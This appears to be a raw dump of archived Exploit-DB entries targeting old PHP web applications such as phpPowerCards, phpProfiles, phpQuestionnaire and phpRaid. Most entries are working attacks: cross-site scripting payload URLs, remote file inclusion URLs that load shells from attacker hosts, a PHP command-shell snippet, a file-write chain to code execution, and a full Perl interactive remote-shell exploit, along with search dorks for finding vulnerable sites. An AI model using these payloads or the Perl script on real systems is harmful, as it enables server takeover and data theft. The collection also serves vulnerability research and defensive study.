deardaniel/secdata-raw huggingface dataset:
Exploit-DB #10668
Description: phpPowerCards 2.0 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2009-12-26
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : phpPowerCards 2.0 Cross Site Scripting Vulnerability                    |
| # Author   : indoushka                                                               |
| # email    : indoushka@hotmail.com                                                   |
| # Home     : Souk Naamane - 04325 - Oum El Bouaghi - Algeria [PII_REDACTED]8860)       |
| # EDB-ID   :                                                                         |
| # CVE-ID   : ()                                                                      |
| # OSVDB-ID : ()                                                                      |
| # DAte     :16/12/2009                                                               |
| # Verified :                                                                         |
| # Web Site : www.iq-ty.com                                                           |
| # Published:                                                                         |
| # Script   : phpPowerCards 2.0 - Get your copy at www.giombetti.com                  |
| # Tested on: windows SP2 Fran&#65533;ais V.(Pnx2 2.0) + Lunix Fran&#65533;ais v.(9.4 Ubuntu)       |
| # Bug      : XSS (!m Grazy in L0v3 you XSS)                                          | 
======================      Exploit By indoushka       =================================
| # Exploit  : 
| 
| 1-http://127.0.0.1/immagini/pagenumber.inc.php?archiv=1%00"'><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&subcat=hacked-by-indoushkat&start%5BPic%5D=0
|
| 2- http://127.0.0.1/immagini/pagenumber.inc.php?archiv=indoushka@hotmail.com&subcat=1>"><ScRiPt%20%0d%0a>alert[PII_REDACTED]60)%3B</ScRiPt>&Souknaamane%5BPic%5D=0
|
| 3- http://127.0.0.1/immagini/pagenumber.inc.php/>"><ScRiPt>alert[PII_REDACTED]60)</ScRiPt>
|
================================   Dz-Ghost Team   ========================================
Greetz : all my friend * Dos-Dz * Snakespc * His0k4 * Hussin-X * Str0ke * Saoucha * Star08 |
-------------------------------------------------------------------------------------------
Exploit-DB #2590
Description: PHPPowerCards 2.10 - 'txt.inc.php' Remote Code Execution
Type: webapps
Platform: php
Date: 2006-10-18
Author: nuffsaid

Exploit:
+-------------------------------------------------------------------------------------------
+ phpPowerCards 2.10 (txt.inc.php) Remote Code Execution Vulnerability
+-------------------------------------------------------------------------------------------
+ Affected Software .: phpPowerCards 2.10
+ Vendor ............: http://www.giombetti.com/
+ Download ..........: http://lu.download.giombetti.com/phpPowerCards/phppowercards2.10.zip
+ Description .......: "phpPowerCards is a powerfull PHP based postcard script."
+ Class .............: Remote Code Execution
+ Risk ..............: High (Remote Code Execution)
+ Found By ..........: nuffsaid <nuffsaid[at]newbslove.us>
+-------------------------------------------------------------------------------------------
+ Details:
+ phpPowerCards db/txt.inc.php does not initialize the $file variable before using it in the
+ fopen() function on line 10, after $file is opened it then writes several variables which
+ are also uninitialized to $file using the fputs() function. Assuming register_globals = on,
+ we can initialize these variables in a query string and then write anything to a file we
+ desire on the target box that's running phpPowerCards.
+ 
+ Vulnerable Code:
+ db/txt.inc.php, line(s) 10: $fp = fopen("$file","a");
+ db/txt.inc.php, line(s) 23: fputs($fp, $email[to]. "¦¦" .$email[from]. "¦¦" .$name[to]. "¦¦" .$name[from]. "¦¦" .$picture. "¦¦" .$comment. "¦¦" .$sessionID. "\n");
+ 
+ Proof of Concept:
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&email[to]=[evil code]
+ http://[target]/[path]/db/txt.inc.php?file=[file]&check=0&comment=[evil code]
+ ... same thing repeated for each variable in the second argument of fputs() on line 23
+ 
+ -> http://[target]/[path]/db/txt.inc.php?file=../evilfile.php&check=0&email[to]=+%3C%3Fphp+include%28%24evil_include%29%3B+%3F%3E+
+ -> http://[target]/[path]/evilfile.php?evil_include=http://evilsite.com/shell.php
+-------------------------------------------------------------------------------------------

# milw0rm.com [2006-10-18]
Exploit-DB #28359
Description: phpPrintAnalyzer 1.1 - 'index.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-07
Author: sh3ll

Exploit:
source: https://www.securityfocus.com/bid/19397/info

phpPrintAnalyzer is prone to a remote file-include vulnerability because it fails to properly sanitize user-supplied input.

An attacker can exploit this issue to include arbitrary remote files containing malicious PHP code and execute it in the context of the webserver process. This may allow the attacker to compromise the application and to gain access to the underlying system.

Version 1.1 is vulnerable to this issue; other versions may also be affected.

http://www.target.com/[phpPrintAnalyzer]/index.php?rep_par_rapport_racine=http://www.example.com
Exploit-DB #2168
Description: phpPrintAnalyzer 1.2 - Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-08-10
Author: Cmaster4

Exploit:
#title: phpPrintAnalyzer Inclusion Vulnerability
 
#Author: Cmaster4 #batamhacker irc.dal.net
 
#script: phpPrintAnalyzer
 
#Class : Remote
 
#cont@ct: gaul@enet.com.cn
 
#Exploit:
http://server/[path]/inc/header.inc.php?ficStyle=[evilcode]

Thx to :
#batamhacker crew on dal.net h4ntu, havincaz, baylaw and all indonesian underground hacker

# milw0rm.com [2006-08-10]
Exploit-DB #29560
Description: PHPProbid 5.24 - 'Lang.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-02-02
Author: Hasadya Raed

Exploit:
source: https://www.securityfocus.com/bid/22374/info

PHPProbid is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data.

Exploiting this issue may allow an attacker to compromise the application and the underlying system; other attacks are also possible. 

http://example.com//lang.php?lang=<i*****%20height=1000%20width=1000%2 0src=http://Shell-Attack/>
Exploit-DB #37537
Description: phpProfiles - Multiple Vulnerabilities
Type: webapps
Platform: php
Date: 2012-07-24
Author: L0n3ly-H34rT

Exploit:
source: https://www.securityfocus.com/bid/54660/info

phpProfiles is prone to multiple security vulnerabilities because it fails to sufficiently sanitize user-supplied input.

Exploiting these vulnerabilities could allow an attacker to execute malicious code within the context of the web server process, steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.

phpProfiles 4.5.4 Beta is vulnerable; other versions may also be affected. 

http://www.example.com/full_release/community.php?action=showtopic&comm_id=00001&topic_id=[PII_REDACTED]&topic_title=[XSS]
http://www.example.com/full_release/community.php?comm_id=[SQL]
http://www.example.com/Full_Release/include/body_admin.inc.php?menu=http://www.example1.com/shell.txt?
Exploit-DB #2688
Description: phpProfiles 2.1 Beta - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2006-10-30
Author: v1per-haCker

Exploit:
#==================================================================
#  phpProfiles (RFI)
#==================================================================
# Info:-
#
# Scripts: phpProfiles
# download : http://sourceforge.net/project/showfiles.php?group_id=176310
# Version : v.2.1 Beta
# Dork & vuln : download scripts and think :)
#
#==================================================================
#Exploit :
#
#http://localhost/path/users/include/body.inc.php?reqpath=http://EvElCoDe.txt?
#http://localhost/path/users/include/body_blog.inc.php?reqpath=http://EvElCoDe.txt?
#http://localhost/path/users/include/upload_ht.inc.php?usrinc=http://EvElCoDe.txt?
#
#==================================================================
#Discoverd By : v1per-haCker
#
#Conatact : v1per-hacker[at]hotmail.com
#
#XP10_hackEr Team               >>      www.xp10.com
#SpeciaL PoweR SecuritY TeaM    >>      www.specialpower.org
#
#Greetz to :    | abu_shahad | RooT-shilL | hitler_jeddah | BooB11 | FaTaL |
#               | ThE-WoLf-KsA | mohandko | fooooz | maVen | fucker_net |
#               | metoovet | MooB | Dr.7zN | ToOoFA | Cold Zero | Afroota |
#               | Jean | CoDeR |
#
# Thanks >>     /str0ke & www.milw0rm.com & www.google.com
===================================================================

# milw0rm.com [2006-10-30]
Exploit-DB #5175
Description: PHPProfiles 4.5.2 Beta - 'body_comm.inc.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2008-02-23
Author: CraCkEr

Exploit:
???????????????????????????????????????????????????????????????????????????????
??                             C r a C k E r                                ??
??          T H E   C R A C K   O F   E T E R N A L   M I G H T             ??
??????????????????????????????????????????????????????????????????????????????

 ?????      From The Ashes and Dust Rises An Unimaginable crack....      ?????
??????????????????????????????????????????????????????????????????????????????
??                         [ Remote File Include ]                          ??
??????????????????????????????????????????????????????????????????????????????
:   Author   : CraCkEr                : :                                    :
?   Group    : PitBull Crew           ? ?                                    ?
?   Script   : phpProfiles 4.5.2 BETA ? ?         Register Globals :         ?
?   Download : SourceForge.net        ? ?                                    ?
?   Method   : GET                    ? ?          [?] ON   [ ] OFF          ?
?   Critical : High [????????]        ? ?                                    ?
?   Impact   : System access          ? ?                                    ?
? ????????????????????????????????????? ???????????????????????????????????? ?
?                              DALnet #crackers                             ??
??????????????????????????????????????????????????????????????????????????????
:                                                                            :
?  Release Notes:                                                            ?
?  ?????????????                                                             ?
?  Typically used for remotely exploitable vulnerabilities that can lead to  ?
?  system compromise.                                                        ?
?                                                                            ?

??????????????????????????????????????????????????????????????????????????????
??                             Exploit URL's                                ??
??????????????????????????????????????????????????????????????????????????????
  ?????????????????????????????????????????????????????????????????????????
 http://localhost/path/Full_Release/include/body_comm.inc.php?content=[SHELL]    
   
??????????????????????????????????????????????????????????????????????????????
 
Greets:
       The_PitBull, Raz0r, iNs, Sad, S|AyER, Ehab, Tfaces, Guzman, adal,
       Karlousha, Od3d99aa. Mark, Ramzi, Lust, DeaD, xD

??????????????????????????????????????????????????????????????????????????????
??                              ? CraCkEr 2008                              ??
??????????????????????????????????????????????????????????????????????????????

# milw0rm.com [2008-02-23]
Exploit-DB #5173
Description: phpQLAdmin 2.2.7 - Multiple Remote File Inclusions
Type: webapps
Platform: php
Date: 2008-02-22
Author: RoMaNcYxHaCkEr

Exploit:
# Name : phpQLAdmin 2.2.7  Multiple Remote File Include
# Download From : http://phpqladmin.com/phpQLAdmin-2.2.7.zip
# Found By : RoMaNcYxHaCkEr     [RoMaNTiC-TeaM]          
# Home Page :  WwW.4RxH.CoM  
+============================================================================+
# Vulne Code In Files ezmlm.php & update_translations.php
# Exploit :
http://www.4rxh.com/phpQLAdmin-2.2.7/ezmlm.php?_SESSION[path]=http://rxh.freehostia.com/shells/c99in.txt?
http://www.4rxh.com/tools/update_translations.php?_SESSION[path]=http://rxh.freehostia.com/shells/c99in.txt?

That,s It,s
Good Luck Everybody
+============================================================================+
# Greet To :
Tryag TeaM & All Members Of My Forum
# For Contact : RxH@HotMail.iT
# Note : Yesterday I Help You !! Tomorrow Fuck Me !!! Fuck All Snitches !!! But Do You Know What !!! That,s Is My Mistake
Best Wishes

# milw0rm.com [2008-02-22]
Exploit-DB #2410
Description: phpQuestionnaire 3.12 - 'phpQRootDir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-21
Author: Solpot

Exploit:
#############################SolpotCrew Community################################
#
#  phpQuestionnaire 3.12 (GLOBALS[phpQRootDir]) Remote File Inclusion
#
#  vendor : http://www.chumpsoft.com/products/phpq/
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (21-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-08.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^
#              and all member solpotcrew community
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "GLOBALS[phpQRootDir]" is not properly verified
before being used to include files. This can be exploited to execute
arbitrary PHP code by including files from local or external resources.

code from inc/ifunctions.php

################################################################################
# phpQuestionnaire                           Version 3.12                      #
# Copyright 2003-2006 chumpsoft, inc.        August 7, 2006                    #
# http://www.chumpsoft.com/products/phpq/    support@chumpsoft.com             #
################################################################################
# Use of this program constitutes your agreement to the terms contained in the #
# LICENSE file within this distribution.                                       #
################################################################################

include($GLOBALS["phpQRootDir"] . "inc/tableformat.php");

function ImportSurvey ($fp, $type, $flag) {
       set_time_limit(600);  # Attempt to disable time limit in case upgrade takes long


google dork : "phpQuestionnaire v3"

exploit : http://somehost/path_to_phpQuestionnaire/inc/ifunctions.php?GLOBALS[phpQRootDir]=http://evil

##############################MY LOVE JUST FOR U RIE#########################
######################################E.O.F##################################

# milw0rm.com [2006-09-21]
Exploit-DB #2814
Description: PHPQuickGallery 1.9 - 'textFile' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-11-19
Author: Al7ejaz Hacker

Exploit:
============================================================================
+                                                                          =
+                     PhpQuickGallery  Remot File Include
+                                                                          =
+
+===========================================================================
+
+
+
+Script: phpquickgallery
+
+RisQe : Dangeureuse
+
+Type: Remot File Include
+
+File Infected : gallery_top.inc.php
+
+Credit By: Al7ejaz Hacker
+
+E-mail: saudi@hotmail.fr
+============================================================================
+
+
++++++++++++
+Exploit : +
++++++++++++
+
+http://localhost/phpquickgallery/gallery_top.inc.php?textFile=Attacker
+
+
+
+Discoverd By Al7ejaz Hacker
+
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

# milw0rm.com [2006-11-19]
Exploit-DB #2366
Description: phpQuiz 0.1 - 'pagename' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-09-14
Author: Solpot

Exploit:
#############################SolpotCrew Community################################
#
#  phpQuiz v0.01 design and coding byJule Slootbeek (pagename) Remote File Inclusion
#
#  Download file : http://www.furor-normannicus.de/phpQuiz/download/phpQuiz.zip
#
#################################################################################
#
#
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (14-09-2006)
#
#       contact: chris_hasibuan@yahoo.com
#
#       Website : http://www.nyubicrew.org/adv/solpot-adv-07.txt
#
################################################################################
#
#
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ ,#nyubi , #hitamputih @dalnet
#              and all member solpotcrew community @ http://www.nyubicrew.org/forum/
#              especially thx to str0ke @ milw0rm.com
#
###############################################################################
Input passed to the "pagename" is not properly verified 
before being used to include files. This can be exploited to execute 
arbitrary PHP code by including files from local or external resources. 
code from index.php
<?php
 //include global variables.
 include('global.inc.php');
 if (empty($pagename)) $pagename=main_menu;
 require ("$pagename.php");
?>
exploit : http://somehost/path_to_phpQuiz/index.php?pagename=http://evil
##############################MY LOVE JUST FOR U RIE######################### 
######################################E.O.F################################## 

# milw0rm.com [2006-09-14]
Exploit-DB #1773
Description: phpRaid 3.0.b3 - 'phpBB'/'SMF' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-05-09
Author: Kurdish Security

Exploit:
# Kurdish Security Advisory
# phpRaid Remote File Include [PHPBB/SMF] :}
# "Sosyalizim'de .srar insan olmakta .srard.r" Abdullah Ocalan
# Contact : irc.gigachat.net #kurdhack & www.PatrioticHackers.com & botan@linuxmail.org

# Script : phpRaid
# Script Website : http://www.spiffyjr.com/
# Version : phpRaid v2.9.5
" v3.0.b1
" v3.0.b2
" v3.0.b3

# Risk : High
# Class : Remote
# Thanks : B3g0k, Nistiman, Flot, Netqurd, Darki, And Kurdish Hackers and Security Guards :D

# w0rkz : "phpRaid" "inurl:"phpRaid" etc. :)

---------------------------------------------------------------------

# cmd shell example:
# cmd shell variable: ($_GET[cmd]);

Vulnerable code : At first for phpbb portal :)

// define our auth type
define("AUTH","phpbb");

// database connection
global $user_group_table;
$user_group_table = $phpbb_prefix . "user_group";

// setup phpBB user integration
define('IN_PHPBB', true);

// set this as the path to your phpBB installation
include($phpbb_root_path . 'extension.inc');
include($phpbb_root_path . 'common.'.$phpEx);

-----------------------------------------------------------------

http://www.site.com/[phpraidpath]/auth/auth.php?phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=id

http://www.site.com/[phpraidpath]/auth/auth_phpbb/phpbb_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a

# SMF #

// includes
include($smf_root_path= . 'SSI.php');
-----------------------------------------------------------------------

http://www.site.com/[phpraidpath]/auth/auth.php?smf_root_path=http://www.yourcode.com/x.txt?&cmd=id

http://www.site.com/[phpraidpath]/auth/auth_SMF/smf_root_path=http://www.yourcode.com/x.txt?&cmd=uname -a

# milw0rm.com [2006-05-09]
Exploit-DB #3528
Description: PHPRaid < 3.0.7 - 'rss.php?PHPraid_dir' Remote File Inclusion
Type: webapps
Platform: php
Date: 2007-03-20
Author: Cold Zero

Exploit:
#!/usr/bin/perl
# phpraid <= 3.x.x (rss.php) Remote File Inclusion Exploit
# Download Script : http://up.9q9q.net/up/index.php?f=994a86950
# Founded & Coded by: Cold z3ro , Cold-z3ro@hotmail.com
# Dork : inurl:"phpRaid" , "phpRaid" , "roster.php?Sort=Race"
# perl cold-z3ro.pl <target> <cmd shell location> <cmd shell variable>
# cmd shell example: <?passthru($_GET[cmd]);?>
# Exploit : http://www.example.com/phpRaid_path/rss.php?phpraid_dir=Evil-script?
##

use LWP::UserAgent;

$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];

if($Path!~/http:\/\// || $Pathtocmd!~/http:\/\// || !$cmdv){usage()}

head();

while()
{
      print "[shell] \$";
while(<STDIN>)
      {
              $cmd=$_;
              chomp($cmd);

$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'rss.php?phpraid_dir='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "\nCould Not connect\n";

$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[\n]/[....]/;

if (!$cmd) {print "\nPlease Enter a Command\n\n"; $return ="";}

elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
      {print "\nCould Not Connect to cmd Host or Invalid Command Variable\n";exit}
elsif ($return =~/^<br.\/>.<b>Fatal.error/) {print "\nInvalid Command or No Return\n\n"}

if($return =~ /(.*)/)
{
      $finreturn = $1;
      $finreturn=~ tr/[....]/[\n]/;
      print "\r\n$finreturn\n\r";
      last;
}

else {print "[shell] \$";}}}last;

sub head()
{
print "\n======================Long Life My Home Land Palestine======================\r\n";
print "\r\n";
print "       * phpraid <= 3.x.x (rss.php) Remote File Inclusion Exploit *\r\n";
print "\r\n";
print "============================================================================\r\n";
}
sub usage()
{
head();
print "\r\n";
print "  Usage: perl Cold-z3ro.pl <Victim> <Cmd Shell Location> <Cmd Shell Variable>\r\n\n";
print "  <Victim> - Full path to example: http://www.site.com/phpRaid/ \r\n";
print "  <cmd shell> - Path to Cmd Shell e.g  http://b0rizq.by.ru/c99.txt? \r\n";
print "  <cmd variable> - Cmd Variable Used In Php Shell like [ id ]\r\n";
print "\r\n";
print "============================================================================\r\n";
print "\r\n";
print "                     found  And  Coded  By  Cold z3ro \r\n";
print "                       Cold-z3ro[at]hotmail[dot]com \r\n";
print "          Greetz To: www.milw0rm.com , www.hack-teach.com , www.4azhar.com \r\n";
print "                Dork : inurl:phpRaid , /roster.php?Sort=Race\r\n";
print "\r\n";
print "============================================================================\r\n";
exit();
}

# milw0rm.com [2007-03-20]